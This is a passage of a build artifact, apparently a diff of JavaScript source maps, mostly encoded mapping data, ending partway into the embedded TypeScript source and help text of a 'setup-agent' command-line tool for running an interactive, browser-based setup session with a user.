AU;GAC/B,OAAO,KAAK;IACV,OAAO;IACP,SAAS,MAAM;IACf,QAAQ,MAAM;IACd,GAAG,aAAa,OAAO,MAAM;GAC/B,CAAC;EACH,OAAO,IAAI,MAAM,WAAW,eAAe,MAAM,WAAW,aAC1D,OAAO,KAAK;GACV,OAAO;GACP,SAAS,MAAM;GACf,QAAQ,MAAM;EAChB,CAAC;CAEL;CACA,KAAK,MAAM,QAAQ,MAAM,OAAO;EAI9B,IAHiB,OAAO,MAAM,MAC3B,cAAc,UAAU,aAAa,KAAK,QAElC,CAAC,EAAE,WAAW,KAAK,UAAU,KAAK,WAAW,YACtD;EAEF,IAAI,KAAK,WAAW,YAClB,OAAO,KAAK;GAAE,OAAO;GAAiB,UAAU,KAAK;EAAS,CAAC;OAE/D,OAAO,KAAK;GACV,OAAO;GACP,UAAU,KAAK;GACf,UAAU,KAAK,YAAY;EAC7B,CAAC;CAEL;CACA,IAAI,OAAO,WAAW,UAAU,MAAM,WAAW,QAC/C,OAAO,KAAK;EAAE,OAAO;EAAY,MAAM;CAAe,CAAC;CAEzD,IAAI,OAAO,WAAW,eAAe,MAAM,WAAW,aACpD,OAAO,KAAK;EAAE,OAAO;EAAa,MAAM;CAAe,CAAC;CAE1D,IAAI,MAAM,OAAO,QAAQ,MAAM,OAAO,OAAO,IAC3C,OAAO,KAAK;EACV,OAAO;EACP,UAAU,MAAM,SAAS,KAAK,YAAY,QAAQ,IAAI;CACxD,CAAC;CAEH,OAAO;AACT;AAEA,MAAM,SAAS,OAAO,WAA2B;CAC/C,IAAI,WAAW,aAAa,MAAM;CAClC,IAAI,UAAyB,WAAW;EAAE,GAAG;EAAU,KAAK,CAAC;CAAE,GAAG,QAAQ;CAC1E,IAAI,QAA8C;CAClD,MAAM,cAAc;EAClB,QAAQ;EACR,IAAI,QAAQ,WAAW,GAAG;EAC1B,MAAM,OAAO;EACb,UAAU,CAAC;CACb;CACA,OAAO,gBAAgB;EACrB,MAAM,OAAO,OAAO;EACpB,IAAI,SAAS,KAAA,GAAW;EACxB,QAAQ,KAAK,GAAG,WAAW,UAAU,IAAI,CAAC;EAC1C,WAAW;EACX,IAAI,QAAQ,SAAS,KAAK,UAAU,MAAM,QAAQ,WAAW,OAAO,GAAG;CACzE,CAAC;CACD,MAAM;CACN,MAAM,OAAO,gBAAgB;CAC7B,MAAM,OAAO,SAAS,cAAc,CAAC;EACnC,KAAK,QAAQ,IAAI;EACjB,GAAI,SAAS,KAAA,KAAa,EAAE,KAAK;CACnC,CAAC;CACD,MAAM,YAAY,kBAAkB;EAClC,OAAY,SAAS,kBAAkB,CAAC,CAAC,CAAC,YAAY,CAAC,CAAC;CAC1D,GAAG,kBAAkB;CACrB,MAAM,aAAa;EACjB,cAAc,SAAS;EACvB,MAAM;EACN,OAAY,SAAS,YAAY,CAAC,CAAC,CAChC,YAAY,CAAC,CAAC,CAAC,CACf,cAAc;GACb,OAAO,QAAQ;GACf,QAAQ,KAAK,CAAC;EAChB,CAAC;CACL;CACA,QAAQ,GAAG,UAAU,IAAI;CACzB,QAAQ,GAAG,UAAU,IAAI;CACzB,QAAQ,GAAG,WAAW,IAAI;CAC1B,MAAM,IAAI,cAAc,CAAC,CAAC;AAC5B;;AAGA,MAAa,gBACX,WAEA,IAAI,SAA0B,YAAY;CACxC,IAAI;CACJ,MAAM,cAAc;EAClB,MAAM,QAAQ,OAAO;EACrB,IAAI,UAAU,KAAA,GAAW;EACzB,MAAM,UACJ,MAAM,WAAW,cAAc,MAAM,WAAW;EAClD,MAAM,QAAQ,SAAS,KAAK,KAAK,aAAa;EAC9C,WAAW,MAAM;EACjB,IAAI,CAAC,WAAW,CAAC,OAAO;EACxB,YAAY;EACZ,QAAQ,MAAM,MAAM;CACtB;CACA,MAAM,cAAc,OAAO,UAAU,KAAK;CAC1C,MAAM;AACR,CAAC;AAEH,MAAM,gBAAgB,QAAwB,YAC5C,IAAI,SAAyB,YAAY;CACvC,MAAM,cAAc;EAClB,MAAM,QAAQ,OAAO;EACrB,MAAM,QAAQ,OAAO,OAAO,MAAM,cAAc,UAAU,OAAO,OAAO;EACxE,IAAI,CAAC,OAAO;EACZ,IAAI,MAAM,WAAW,UAAU,OAAO,WAAW,aAAa;GAC5D,YAAY;GACZ,QAAQ,KAAK;EACf;CACF;CACA,MAAM,cAAc,OAAO,UAAU,KAAK;CAC1C,MAAM;AACR,CAAC;AAEH,MAAM,eAAe,QAAwB,aAC3C,IAAI,SAAoC,YAAY;CAClD,MAAM,cAAc;EAClB,MAAM,QAAQ,OAAO;EACrB,MAAM,OAAO,OAAO,MAAM,MACvB,cAAc,UAAU,aAAa,QACxC;EACA,IACE,SAAS,KAAA,KACT,KAAK,WAAW,cAChB,OAAO,WAAW,aAClB;GACA,YAAY;GACZ,QAAQ,IAAI;EACd;CACF;CACA,MAAM,cAAc,OAAO,UAAU,KAAK;CAC1C,MAAM;AACR,CAAC;AAEH,MAAM,WAAW,MAAiC,UAA0B;CAC1E,IAAI,MAAM,WAAW,aAAa,OAAO;EAAE,IAAI;EAAO,QAAQ;CAAY;CAC1E,IAAI,SAAS,KAAA,GAAW,OAAO,KAAK,sBAAsB;CAC1D,OAAO,KAAK,WAAW,aACnB;EAAE,IAAI;EAAM,UAAU;EAAW,UAAU,KAAK;CAAS,IACzD;EACE,IAAI;EACJ,UAAU;EACV,UAAU,KAAK;EACf,UAAU,KAAK,YAAY;CAC7B;AACN;AAEA,MAAM,aAAa,UACjB,OACI,MAAM,GAAG,CAAC,CACX,KAAK,UAAU,MAAM,KAAK,CAAC,CAAC,CAC5B,OAAO,OAAO;AAEnB,MAAa,WACX,MACA,UAC6C;CAC7C,MAAM,SAAS,SAAS,OAAO,MAAM;CACrC,MAAM,WAAW,MAAM,IAAI,UAAU;CACrC,MAAM,WAAW,SAAS,OAAO,SAAS;CAC1C,IAAI,MAAM,IAAI,cAAc,GAAG;EAC7B,IACE;GACE;GACA;GACA;GACA;GACA;GACA;GACA;GACA;EACF,CAAC,CAAC,MAAM,SAAS,MAAM,IAAI,IAAI,CAAC,GAEhC,OAAO,KACL,0FACF;EACF,MAAM,OAAO,SAAS,OAAO,cAAc;EAC3C,IAAI;EACJ,IAAI;GACF,QAAQ,KAAK,MAAM,QAAQ,EAAE;EAC/B,QAAQ;GACN,OAAO,KAAK,8CAA8C;EAC5D;EACA,MAAM,UAAU,uBAAuB,KAAK;EAC5C,IAAI,CAAC,SACH,OAAO,KACL,+JACF;EACF,IACE,aAAa,KAAA,KACb,CAAC,QAAQ,MAAM,WAAW,OAAO,OAAO,QAAQ,GAEhD,OAAO,KAAK,cAAc,SAAS,gBAAgB;EACrD,MAAM,SACJ,KAAK,MAAM,KAAK,mDAAmD;EACrE,IAAI,OAAO,KAAK,MAAM,IACpB,OAAO,KAAK,uCAAuC;EACrD,OAAO;GACL,MAAM;GACN;GACA;GACA,GAAI,aAAa,KAAA,KAAa,EAAE,SAAS,SAAS;GAClD;GACA,GAAI,WAAW,KAAA,KAAa,EAAE,OAAO;EACvC;CACF;CACA,MAAM,SAAS,SAAS,OAAO,QAAQ;CACvC,IAAI,WAAW,KAAA,GAAW;EACxB,IAAI,CAAC,WAAW,MAAM,GACpB,OAAO,KACL,mBAAmB,OAAO,SAAS,OAAO,KAAK,aAAa,CAAC,CAAC,KAAK,MAAM,GAC3E;EAEF,MAAM,OAAO,UAAU,SAAS,OAAO,MAAM,CAAC;EAC9C,MAAM,QAAQ,UAAU,SAAS,OAAO,SAAS,CAAC,CAAC,EAAE,KAAK,UAAU;GAClE,MAAM,CAAC,KAAK,IAAI,GAAG,eAAe,MAAM,MAAM,GAAG;GACjD,OAAO,YAAY,WAAW,IAC1B,EAAE,GAAG,IACL;IAAE;IAAI,aAAa,YAAY,KAAK,GAAG;GAAE;EAC/C,CAAC;EACD,IAAI;GACF,MAAM,OAAO,YAAY,QAAQ;IAC/B,GAAI,SAAS,KAAA,KAAa,EAAE,KAAK;IACjC,GAAI,UAAU,KAAA,KAAa,EAAE,MAAM;IACnC,GAAI,aAAa,KAAA,KAAa,EAAE,SAAS,SAAS;IAClD;IACA,GAAI,WAAW,KAAA,KAAa,EAAE,OAAO;GACvC,CAAC;GACD,OAAO,KAAK,OAAO,KAAA,IAAY,OAAO;IAAE,GAAG;IAAM,QAAQ,KAAK;GAAG;EACnE,SAAS,OAAO;GACd,OAAO,KAAK,iBAAiB,QAAQ,MAAM,UAAU,OAAO,KAAK,CAAC;EACpE;CACF;CACA,MAAM,SAAS,KAAK,MAAM,KAAK,qBAAqB;CACpD,MAAM,UAAU,SAAS,OAAO,SAAS;CACzC,IAAI,YAAY,KAAA,GACd,OAAO;EACL,MAAM;EACN;EACA;EACA;EACA,GAAI,WAAW,KAAA,KAAa,EAAE,OAAO;CACvC;CAEF,MAAM,UAAU,UAAU,SAAS,OAAO,SAAS,CAAC;CACpD,IAAI,YAAY,KAAA,GAAW;EACzB,IAAI,MAAM,IAAI,QAAQ,KAAK,MAAM,IAAI,UAAU,GAC7C,OAAO,KAAK,4CAA4C;EAC1D,MAAM,wBAAQ,IAAI,IAAoB;EACtC,KAAK,MAAM,SAAS,UAAU,SAAS,OAAO,OAAO,CAAC,KAAK,CAAC,GAAG;GAC7D,MAAM,CAAC,KAAK,IAAI,OAAO,MAAM,MAAM,MAAM,KAAK,CAAC;GAC/C,IAAI,CAAC,QAAQ,SAAS,EAAE,GACtB,OAAO,KAAK,cAAc,GAAG,oBAAoB;GACnD,IAAI,CAAC,aAAa,IAAI,GACpB,OAAO,KACL,iBAAiB,KAAK,iBAAiB,aAAa,KAAK,IAAI,GAC/D;GAEF,MAAM,IAAI,IAAI,IAAI;EACpB;EACA,MAAM,UAAU,QAAQ,QAAQ,OAAO,CAAC,MAAM,IAAI,EAAE,CAAC;EACrD,IAAI,QAAQ,SAAS,GACnB,OAAO,KACL,+BAA+B,QAAQ,KAAK,OAAO,IAAI,GAAG,EAAE,CAAC,CAAC,KAAK,IAAI,EAAE,GAAG,QAAQ,WAAW,IAAI,QAAQ,OAAO,uBAAuB,QAAQ,KAAK,OAAO,GAAG,GAAG,QAAQ,CAAC,CAAC,KAAK,GAAG,EAAE,qBAAqB,aAAa,KAAK,IAAI,GACpO;EAEF,OAAO;GACL,MAAM;GACN;GACA,SAAS,QAAQ,KAAK,QAAQ;IAAE;IAAI,OAAO;IAAI,MAAM,MAAM,IAAI,EAAE;GAAG,EAAE;GACtE,GAAI,CAAC,MAAM,IAAI,QAAQ,KAAK,EAAE,UAAU,KAAK;GAC7C,GAAI,aAAa,KAAA,KAAa,EAAE,SAAS,SAAS;GAClD;GACA,GAAI,WAAW,KAAA,KAAa,EAAE,OAAO;EACvC;CACF;CACA,MAAM,cAAc,SAAS,OAAO,aAAa;CACjD,OAAO;EACL;EACA,GAAI,gBAAgB,KAAA,KAAa,EAAE,YAAY;EAC/C;EACA,GAAI,WAAW,KAAA,KAAa,EAAE,OAAO;CACvC;AACF;AAEA,MAAM,gBAAgB,QAAgB;CACpC,IAAI,CAAC,2BAA2B,KAAK,GAAG,GACtC,MAAM,IAAI,MAAM,IAAI,IAAI,sCAAsC;AAElE;;AAGA,MAAa,iBAAiB,SAAiB,KAAa,UAAkB;CAC5E,aAAa,GAAG;CAChB,MAAM,OAAO,GAAG,IAAI,GAAG;CACvB,MAAM,QAAQ,YAAY,KAAK,CAAC,IAAI,QAAQ,QAAQ,OAAO,EAAE,CAAC,CAAC,MAAM,IAAI;CACzE,MAAM,QAAQ,MAAM,WACjB,UACC,8CAA8C,KAAK,KAAK,CAAC,GAAG,OAAO,GACvE;CACA,IAAI,UAAU,IAAI,MAAM,KAAK,IAAI;MAC5B,MAAM,SAAS;CACpB,OAAO,GAAG,MAAM,KAAK,IAAI,EAAE;AAC7B;;;;;;;AAQA,MAAa,iBAAiB,OAC5B,MACA,KACA,MACA,cAAc,QAAQ,IAAI,MACvB;CACH,aAAa,GAAG;CAChB,IAAI;EACF,KAAK,MAAM,MAAM,IAAI,EAAA,CAAG,eAAe,GACrC,MAAM,IAAI,MACR,GAAG,KAAK,gEACV;CAEJ,SAAS,OAAO;EACd,IAAK,MAAgC,SAAS,UAAU,MAAM;CAChE;CACA,MAAM,kBAAkB,SAAS,aAAa,IAAI;CAClD,IACE,oBAAoB,QACpB,CAAC,gBAAgB,WAAW,KAAK,KAAK,KACtC,CAAC,WAAW,eAAe,GAC3B;EACA,MAAM,OAAO,MAAM,SAAS,WAAW;EACvC,MAAM,SAAS,MAAM,SAAS,QAAQ,IAAI,CAAC;EAC3C,MAAM,iBAAiB,SAAS,MAAM,MAAM;EAC5C,IACE,mBAAmB,QACnB,eAAe,WAAW,KAAK,KAAK,KACpC,WAAW,cAAc,GAEzB,MAAM,IAAI,MAAM,GAAG,KAAK,4CAA4C;CAExE;CACA,MAAM,SAAS,MAAM,KACnB,MACA,UAAU,SACR,UAAU,WACV,UAAU,UACV,UAAU,YACZ,GACF,CAAC,CAAC,OAAO,UAAiC;EACxC,IAAI,MAAM,SAAS,SACjB,MAAM,IAAI,MACR,GAAG,KAAK,gEACV;EACF,MAAM;CACR,CAAC;CACD,IAAI;EACF,MAAM,OAAO,MAAM,GAAK;EACxB,MAAM,QAAQ,MAAM,KAAK;EACzB,MAAM,UAAU,MAAM,OAAO,SAAS,MAAM;EAC5C,MAAM,OAAO,SAAS,CAAC;EACvB,MAAM,OAAO,UAAU,cAAc,SAAS,KAAK,KAAK,CAAC;CAC3D,UAAU;EACR,MAAM,OAAO,MAAM;CACrB;AACF;AAEA,MAAM,6BAA6B;CACjC,MAAM,YACJ,QAAQ,aAAa,UACjB,QAAQ,IAAI,gBAAgB,KAAK,QAAQ,GAAG,WAAW,OAAO,IAC9D,QAAQ,IAAI,kBAAkB,KAAK,QAAQ,GAAG,UAAU,OAAO;CACrE,OAAO,CACL,KAAK,WAAW,aAAa,GAC7B,KACE,OAAO,GACP,eAAe,QAAQ,aAAa,UAAU,SAAS,CAAC,CAAC,WAAW,QAAQ,OAAQ,GACtF,CACF;AACF;AAEA,MAAM,0BAA0B,OAAO,cAAsB;CAC3D,IAAI,CAAC,WAAW,SAAS,GACvB,MAAM,IAAI,MAAM,qCAAqC;CAEvD,MAAM,OAAO,MAAM,MAAM,SAAS;CAClC,IAAI,CAAC,KAAK,YAAY,KAAK,KAAK,eAAe,GAC7C,MAAM,IAAI,MACR,qDAAqD,WACvD;CAEF,IAAI,QAAQ,aAAa,SAAS;EAChC,IAAI,KAAK,QAAQ,QAAQ,OAAQ,GAC/B,MAAM,IAAI,MACR,mDAAmD,WACrD;EAEF,KAAK,KAAK,OAAO,QAAW,GAAG,MAAM,MAAM,WAAW,GAAK;CAC7D;AACF;AAEA,MAAM,4BAA4B,OAAO,cAAsB;CAC7D,IAAI,WAAW,SAAS,GACtB,MAAM,MAAM,WAAW;EAAE,WAAW;EAAM,MAAM;CAAM,CAAC;CAEzD,MAAM,wBAAwB,SAAS;AACzC;AAEA,MAAM,gBAAgB,OAAO,MAAc,QAAgB;CACzD,IAAI;CACJ,KAAK,MAAM,aAAa,qBAAqB,GAAG;EAC9C,MAAM,OAAO,KAAK,WAAW,GAAG,KAAK,KAAK;EAC1C,IAAI,UAAU;EACd,IAAI;GACF,MAAM,0BAA0B,SAAS;GACzC,MAAM,SAAS,MAAM,KACnB,MACA,UAAU,WACR,UAAU,UACV,UAAU,SACV,UAAU,YACZ,GACF;GACA,UAAU;GACV,IAAI;IACF,MAAM,OAAO,UAAU,GAAG;GAC5B,UAAU;IACR,MAAM,OAAO,MAAM;GACrB;GACA,OAAO;EACT,SAAS,OAAO;GACd,IAAI,SAAS,MAAM,OAAO,IAAI,CAAC,CAAC,YAAY,CAAC,CAAC;GAC9C,YAAY;EACd;CACF;CACA,MAAM;AACR;AAEA,MAAM,gBAAgB,OAAO,SAAiB;CAC5C,IAAI,CAAC,iBAAiB,KAAK,IAAI,GAAG,OAAO,KAAA;CACzC,KAAK,MAAM,aAAa,qBAAqB,GAC3C,IAAI;EACF,MAAM,wBAAwB,SAAS;EACvC,MAAM,OAAO,KAAK,WAAW,GAAG,KAAK,KAAK;EAC1C,MAAM,SAAS,MAAM,KACnB,MACA,UAAU,WAAW,UAAU,UACjC;EACA,IAAI;GACF,MAAM,OAAO,MAAM,OAAO,KAAK;GAC/B,IACE,CAAC,KAAK,OAAO,KACZ,QAAQ,aAAa,YAAY,KAAK,OAAO,QAAW,GAEzD,MAAM,IAAI,MAAM,6CAA6C;GAE/D,MAAM,MAAM,MAAM,OAAO,SAAS,MAAM;GACxC,IAAI,WAAW,QAAQ,CAAC,CAAC,OAAO,GAAG,CAAC,CAAC,OAAO,KAAK,MAAM,MACrD,OAAO;IAAE;IAAK;GAAK;EAEvB,UAAU;GACR,MAAM,OAAO,MAAM;EACrB;CACF,QAAQ;EACN;CACF;AAGJ;AAEA,MAAM,gBAAgB,OAAuB,YAAoB;CAC/D,QAAS,MAAM,YAAY,oBAAoB,MAAM,KAAM;CAC3D,GAAI,MAAM,SAAS,KAAA,KAAa,EAAE,MAAM,MAAM,KAAK;CACnD,GAAI,MAAM,SAAS,YACjB,qBAAqB,OAAO,MAAM,MAAM,YAAY,EAClD,QAAQ,KACV;AACJ;AAEA,MAAM,YAAY,WAA2B;CAC3C,IAAI;CACJ,SAAS,MAAM;CACf,QAAQ,MAAM;CACd,GAAI,MAAM,WAAW,KAAA,KAAa,aAAa,OAAO,MAAM,MAAM;AACpE;AAEA,MAAa,OAAO,OAAO,SAA4B;CACrD,MAAM,EAAE,YAAY,UAAU,UAAU,IAAI;CAC5C,MAAM,CAAC,OAAO,UAAU,SAAS,GAAG,QAAQ;CAC5C,IAAI,MAAM,IAAI,MAAM,KAAK,MAAM,IAAI,GAAG,KAAK,UAAU,KAAA,GAAW;EAC9D,QAAQ,OAAO,MAAM,IAAI;EACzB,OAAO,QAAQ,KAAK,UAAU,KAAA,IAAY,IAAI,CAAC;CACjD;CACA,MAAM,MAAM;CACZ,IAAI,YAAY,WAAW,mBAAmB,GAAG,OAAO,YAAY,GAAG;CAEvE,MAAM,SAAS,MAAM,gBAAgB,GAAG,CAAC,CAAC,OAAO,UAC/C,KAAK,iBAAiB,QAAQ,MAAM,UAAU,OAAO,KAAK,CAAC,CAC7D;CACA,MAAM,WAAW,OAAO;CAExB,IAAI;EACF,QAAQ,SAAR;GACE,KAAK,SAAS;IACZ,MAAM,OAAO,gBAAgB;IAC7B,MAAM,SAAS,cAAc,CAAC,EAC5B,GAAI,SAAS,KAAA,KAAa,EAAE,KAAK,EACnC,CAAC,CAAC,CAAC,YAAY,CAAC,CAAC;IACjB,QAAQ,OAAO,MAAM,aAAa,GAAG,CAAC;IACtC,QAAQ,OAAO,MAAM,oBAAoB;IACzC,MAAM,QAAQ,aAAa,MAAM,CAAC,CAAC;IACnC;GACF;GACA,KAAK;IACH,MAAM,QAAQ,aAAa,MAAM,CAAC,CAAC;IACnC;GAEF,KAAK;IACH,MAAM,OAAO,MAAM;IACnB;GAEF,KAAK,QAAQ;IACX,MAAM,QACJ;IACF,MAAM,SAAS,KAAK,MAAM,KAAK,KAAK;IACpC,MAAM,SAAS,KAAK;IACpB,IAAI,CAAC,cAAc,SAAS,MAA6B,GAAG,KAAK,KAAK;IACtE,MAAM,OAAO,SAAS,OAAO,MAAM;IACnC,MAAM,SAAS,aAAa,CAAC;KAC3B;KACQ;KACR,GAAI,SAAS,KAAA,KAAa,EAAE,KAAK;IACnC,CAAC;IACD,MAAM;KAAE,IAAI;KAAM;KAAQ;IAAO,CAAC;IAClC;GACF;GACA,KAAK,YAAY;IACf,MAAM,QAAQ,KAAK,MAAM,KAAK,yBAAyB;IACvD,MAAM,SAAS,SAAS,OAAO,QAAQ;IACvC,MAAM,UAAU,SAAS,OAAO,SAAS;IACzC,MAAM,SAAS,MAAM,SAAS,iBAAiB,CAAC;KAC9C;KACA,GAAI,WAAW,KAAA,KAAa,EAAE,OAAO;KACrC,GAAI,YAAY,KAAA,KAAa,EAAE,QAAQ;KACvC,GAAI,MAAM,IAAI,QAAQ,KAAK,EAAE,QAAQ,KAAK;IAC5C,CAAC;IACD,MAAM;KAAE,IAAI;KAAM,GAAG;IAAO,CAAC;IAC7B;GACF;GACA,KAAK,QAAQ;IACX,MAAM,OAAO,SAAS,OAAO,MAAM;IACnC,MAAM,WACJ,SAAS,KAAA,IACL,MAAM,SAAS,QAAQ,IAAI,GAAG,MAAM,CAAC,CAAC,YACpC,KAAK,kBAAkB,MAAM,CAC/B,IACC,KAAK,MAAM,KAAK,6CAA6C;IACpE,MAAM,EAAE,aAAa,MAAM,SAAS,aAAa,CAAC,EAAE,SAAS,CAAC;IAC9D,IAAI,CAAC,MAAM,IAAI,MAAM,GAAG;KACtB,MAAM;MAAE,IAAI;MAAM;KAAS,CAAC;KAC5B;IACF;IACA,MAAM,OAAO,MAAM,YAAY,QAAQ,QAAQ;IAC/C,MAAM,QAAQ,MAAM,aAAa,MAAM,CAAC,CAAC;IACzC;GACF;GACA,KAAK,OAAO;IACV,MAAM,OAAO,QAAQ,MAAM,KAAK;IAChC,MAAM,YACJ,KAAK,SAAS,UAAU,YAAY,EAAE,CAAC,CAAC,SAAS,KAAK,IAAI,KAAA;IAC5D,MAAM,gBACJ,cAAc,KAAA,IACV,KAAA,IACA,WAAW,QAAQ,CAAC,CAAC,OAAO,SAAS,CAAC,CAAC,OAAO,KAAK;IACzD,MAAM,UACJ,cAAc,KAAA,KAAa,kBAAkB,KAAA,IACzC,KAAA,IACA,MAAM,cAAc,eAAe,SAAS,CAAC,CAAC,OAC3C,UACC,KACE,yCAAyC,iBAAiB,QAAQ,MAAM,UAAU,OAAO,KAAK,GAChG,CACJ;IACN,IAAI;IACJ,IAAI;KACF,CAAC,CAAE,WAAY,MAAM,SAAS,YAAY,CAAC;MACzC,GAAG;MACH,GAAI,kBAAkB,KAAA,KAAa,EAAE,cAAc;KACrD,CAAC;IACH,SAAS,OAAO;KACd,IAAI,YAAY,KAAA,GAAW,MAAM,OAAO,OAAO,CAAC,CAAC,YAAY,CAAC,CAAC;KAC/D,MAAM;IACR;IACA,IAAI,CAAC,MAAM,IAAI,MAAM,GAAG;KACtB,MAAM;MAAE,IAAI;MAAM;KAAQ,CAAC;KAC3B;IACF;IACA,MAAM,MAAM,aAAa,QAAQ,OAAO,CAAC,CAAC,KAAK,QAAQ,CAAC;IACxD;GACF;GACA,KAAK,QAAQ;IACX,MAAM,SACJ,KAAK,MAAM,KAAK,iDAAiD;IACnE,MAAM,QAAQ,aAAa,MAAM;IACjC,IAAI,WAAW,SAAS;KACtB,MAAM,SAAS,MAAM,aAAa,MAAM;KACxC,MAAM;MACJ,IAAI,WAAW,cAAc,WAAW;MACxC;KACF,CAAC;KACD;IACF;IACA,IAAI,WAAW,QAAQ;KACrB,MAAM,OAAO,YAAY,KAAK,KAAK,KAAK,2BAA2B;KACnE,MACE,QACE,MAAM,YAAY,QAAQ,KAAK,QAAQ,GACvC,aAAa,MAAM,CACrB,CACF;KACA;IACF;IACA,IAAI,CAAC,MAAM,OAAO,MAAM,UAAU,MAAM,OAAO,MAAM,GACnD,KAAK,aAAa,OAAO,EAAE;IAE7B,MAAM,MAAM,aAAa,QAAQ,MAAM,CAAC,CAAC,KAAK,QAAQ,CAAC;IACvD;GACF;GACA,KAAK,OAAO;IACV,MAAM,QAAQ;IACd,MAAM,UAAU,KAAK,MAAM,KAAK,KAAK;IACrC,MAAM,SAAS,KAAK,MAAM,KAAK,KAAK;IACpC,IAAI,CAAC,2BAA2B,KAAK,MAAM,GACzC,KAAK,IAAI,OAAO,sCAAsC;IAExD,MAAM,QAAQ,aAAa,MAAM;IACjC,MAAM,QACJ,MAAM,OAAO,MAAM,cAAc,UAAU,OAAO,OAAO,KACzD,KAAK,aAAa,QAAQ,EAAE;IAC9B,MAAM,UAAU,MAAM,MAAM,KAAK,oCAAoC;IACrE,IAAI,SAAS,KAAK,GAChB,KAAK,uBAAuB;IAE9B,IAAI,MAAM,WAAW,YACnB,KAAK,UAAU,QAAQ,OAAO,MAAM,QAAQ;IAE9C,IACE,MAAM,SAAS,WACf,CAAC,mBAAmB,OAAO,MAAM,UAAU,EAAE,GAE7C,KAAK,UAAU,QAAQ,gCAAgC;IAEzD,MAAM,YACJ,MAAM,kBAAkB,KAAA,IACpB,KAAA,IACA,MAAM,cAAc,MAAM,aAAa;IAC7C,IAAI,MAAM,kBAAkB,KAAA,KAAa,cAAc,KAAA,GACrD,KAAK,4BAA4B,QAAQ,EAAE;IAE7C,MAAM,OAAO,QAAQ,SAAS,OAAO,MAAM,KAAK,YAAY;IAC5D,MAAM,eAAe,MAAM,QAAQ,YAAY;KAC7C,MAAM,WAAW,MAAM,MACrB,GAAG,IAAI,QAAQ,OAAO,EAAE,EAAE,UAAU,mBAAmB,OAAO,EAAE,SAAS,mBAAmB,OAAO,KACnG,cAAc,KAAA,IACV,KAAA,IACA,EAAE,SAAS,EAAE,0BAA0B,UAAU,IAAI,EAAE,CAC7D;KACA,IAAI,SAAS,WAAW,KACtB,KAAK,4BAA4B,QAAQ,EAAE;KAE7C,IAAI,SAAS,WAAW,KACtB,KACE,gBAAgB,QAAQ,uCAC1B;KAEF,IAAI,CAAC,SAAS,IAAI,KAAK,4BAA4B,SAAS,QAAQ;KACpE,OAAO,SAAS,KAAK;IACvB,CAAC;IACD,IAAI,cAAc,KAAA,GAChB,MAAM,OAAO,UAAU,IAAI,CAAC,CAAC,OAAO,UAAiC;KACnE,IAAI,MAAM,SAAS,UACjB,QAAQ,OAAO,MACb,2CAA2C,MAAM,QAAQ,GAC3D;IAEJ,CAAC;IAEH,MAAM;KAAE,IAAI;KAAM;KAAQ;IAAK,CAAC;IAChC;GACF;GACA,KAAK,OAAO;IACV,MAAM,YAAY,KAAK,MAAM,KAAK,yBAAyB;IAC3D,MAAM,SAAS,YAAY,CAAC,EAAE,UAAU,CAAC;IACzC,MAAM,EAAE,IAAI,KAAK,CAAC;IAClB;GACF;GACA,KAAK,OAAO;IACV,MAAM,OAAO,KAAK,MAAM,KAAK,mBAAmB;IAChD,MAAM,SAAS,YAAY,CAAC,EAAE,KAAK,CAAC;IACpC,MAAM,EAAE,IAAI,KAAK,CAAC;IAClB;GACF;GACA,KAAK,QAAQ;IACX,MAAM,UAAU,SAAS,OAAO,SAAS;IACzC,MAAM,UAAU,SAAS,OAAO,SAAS;IACzC,MAAM,SAAS,aAAa,CAAC;KAC3B,GAAI,YAAY,KAAA,KAAa,EAAE,QAAQ;KACvC,GAAI,YAAY,KAAA,KAAa,EAAE,QAAQ;IACzC,CAAC;IACD,MAAM;KACJ,IAAI;KACJ,QAAQ;KACR,MAAM;IACR,CAAC;IACD;GACF;GACA,SACE,KAAK,oBAAoB,QAAQ,OAAO,MAAM;EAClD;CACF,SAAS,OAAO;EACd,KAAK,iBAAiB,QAAQ,MAAM,UAAU,OAAO,KAAK,CAAC;CAC7D,UAAU;EACR,OAAO,QAAQ;CACjB;AACF"}
+{"version":3,"file":"cli.js","names":[],"sources":["../src/cli.ts"],"sourcesContent":["import { connectCheckout } from \"./client\";\nimport type { CheckoutClient } from \"./client\";\nimport { INPUT_PRESETS, isPresetId, presetInput } from \"./presets\";\nimport { spawn } from \"node:child_process\";\nimport { createHash, randomBytes } from \"node:crypto\";\nimport { constants } from \"node:fs\";\nimport {\n  chmod,\n  lstat,\n  mkdir,\n  open,\n  readFile,\n  realpath,\n  unlink,\n} from \"node:fs/promises\";\nimport { homedir, tmpdir, userInfo } from \"node:os\";\nimport { createInterface } from \"node:readline/promises\";\nimport { dirname, isAbsolute, join, relative, resolve, sep } from \"node:path\";\nimport {\n  AGENT_HEARTBEAT_MS,\n  OPTION_ICONS,\n  classifyChoiceAnswer,\n  currentPlan,\n  isAgentPresent,\n  isClosed,\n  isLoopbackHostname,\n  isOptionIcon,\n  isValidModelAnswer,\n  parseEntryPointOptions,\n  parseMultipleAnswer,\n  stepProgress,\n} from \"./protocol\";\nimport type { Checkout } from \"./protocol\";\n\nexport const HELP = `setup-agent <url> [command]\n\nCommands (the url always comes first):\n  status                            Print the setup as JSON.\n  stream                            Follow the setup: one JSON array of events per line.\n  log <text>                        Send a message to the user: a reply, something no question or step conveys, or one wrap-up when finished.\n  ack <message-id>                  Acknowledge a user message.\n  ask <prompt> [--placeholder <text>] [--optional] [--step <step-id>] [--wait]\n                                    Ask the user for a line of text.\n  ask [prompt] --preset <framework|llm-provider> [--only <id,id>] [--choices <id=description,...>] [--default <id>] [--optional] [--step <step-id>] [--wait]\n                                    Ask a standard question. --only restricts the options and leaves out --choices (one id locks it in); --default preselects one.\n                                    \"framework\" answers \"<framework>:<language>\"; \"llm-provider\" answers JSON with provider, model and reasoningEffort; the key itself arrives through \"env\".\n  ask <prompt> --choices <id,id,...> --icons <id=icon,...> [--single] [--default <id>] [--optional] [--step <step-id>] [--wait]\n                                    Ask the user to pick from your own options; they may also type their own answer.\n                                    The user checks any number of options and the answer is a JSON array of option ids (their own text is one entry).\n                                    --single is for options that exclude each other (one framework, one model, yes or no); the answer is then one id.\n                                    --icons is required and names an icon for every option, from: ${OPTION_ICONS.join(\", \")}.\n  ask <prompt> --entry-points '<JSON array>' [--default <id>] [--optional] [--step <step-id>] [--wait]\n                                    Ask where users should access the assistant. Each of 1–3 options has id, label, description and entryPoint {formFactor: modal|sidebar|full-page, placement, trigger, recommended?}. Answers one option id.\n  wait start                        Block until the user clicks Begin plan in their browser; after a finished or cancelled setup, until the next one begins.\n  wait <input-id>                   Block until the user answers or dismisses an input. A multi-select answer prints as an array.\n  plan (<markdown> | --file <path>) [--wait]\n                                    Propose the plan for the user to approve. --wait blocks until they decide.\n 